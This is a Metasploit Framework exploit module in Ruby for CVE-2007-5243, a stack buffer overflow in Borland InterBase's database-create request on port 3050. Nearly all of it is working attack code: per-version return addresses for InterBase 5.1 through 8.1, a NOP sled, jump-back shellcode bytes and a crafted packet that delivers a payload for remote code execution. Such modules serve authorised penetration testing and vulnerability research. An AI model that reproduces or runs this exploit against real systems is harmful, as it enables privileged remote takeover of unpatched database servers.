Borland InterBase isc_create_database() Buffer Overflow



##

# $Id: ib_isc_create_database.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::BruteTargets

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Borland InterBase isc_create_database() Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in Borland InterBase
                by sending a specially crafted create request.
            },
            'Version'    => '$Revision: 9669 $',
            'Author'    =>
                [
                    'ramon',
                    'Adriano Lima <adriano@risesecurity.org>',
                ],
            'Arch'        => ARCH_X86,
            'Platform'    => 'win',
            'References'    =>
                [
                    [ 'CVE', '2007-5243' ],
                    [ 'OSVDB', '38606' ],
                    [ 'BID', '25917' ],
                    [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
                ],
            'Privileged'    => true,
            'License'    => MSF_LICENSE,
            'Payload'    =>
                {
                    'Space' => 512,
                    'BadChars' => "\x00\x2f\x3a\x40\x5c",
                    'StackAdjustment' => -3500,
                },
            'Targets'    =>
                [
                    [ 'Brute Force', { } ],
                    # 0x00403d4b pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V8.1.0.257',
                        { 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403d4b }
                    ],
                    # 0x00403d4d pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V8.0.0.123',
                        { 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403d4d }
                    ],
                    # 0x00403a5d pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80',
                        { 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403a5d }
                    ],
                    # 0x004038fd pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V7.0.1.1',
                        { 'Length' => [ 2116, 2120 ], 'Ret' => 0x004038fd }
                    ],
                    # 0x0040390d pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V6.5.0.28',
                        { 'Length' => [ 1332, 1336 ], 'Ret' => 0x0040390d }
                    ],
                    # 0x00403901 pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V6.0.1.6',
                        { 'Length' => [ 1332, 1336 ], 'Ret' => 0x00403901 }
                    ],
                    # 0x004038b1 pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0',
                        { 'Length' => [ 1332, 1336 ], 'Ret' => 0x004038b1 }
                    ],
                    # 0x00404a10 pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V5.5.0.742',
                        { 'Length' => [ 1432, 1436 ], 'Ret' => 0x00404a10 }
                    ],
                    # 0x00404a0e pop esi; pop ebp; ret
                    [
                        'Borland InterBase WI-V5.1.1.680',
                        { 'Length' => [ 1336, 1340 ], 'Ret' => 0x00404a0e }
                    ],
                    # Debug
                    [
                        'Debug',
                        { 'Length' => [ 1336 ], 'Ret' => 0xaabbccdd }
                    ],
                ],
            'DefaultTarget'    => 0,
            'DisclosureDate'  => 'Oct 03 2007'
        ))

        register_options(
            [
                Opt::RPORT(3050)
            ],
            self.class
        )

    end

    def exploit_target(target)

        target['Length'].each do |length|

            connect

            # Create database
            op_create = 20

            remainder = length.remainder(4)
            padding = 0

            if remainder > 0
                padding = (4 - remainder)
            end

            buf = ''

            # Operation/packet type
            buf << [op_create].pack('N')

            # Id
            buf << [0].pack('N')

            # Length
            buf << [length].pack('N')

            # Nop block
            buf << make_nops(length - payload.encoded.length - 13)

            # Payload
            buf << payload.encoded

            # Jump back into the nop block
            buf << "\xe9" + [-1028].pack('V')

            # Jump back
            buf << "\xeb" + [-7].pack('c')

            # Random alpha data
            buf << rand_text_alpha(2)

            # Target
            buf << [target.ret].pack('V')

            # Padding
            buf << "\x00" * padding

            # Database parameter block

            # Length
            buf << [1024].pack('N')

            # Random alpha data
            buf << rand_text_alpha(1024)

            sock.put(buf)

            select(nil,nil,nil,4)

            handler

        end

    end

end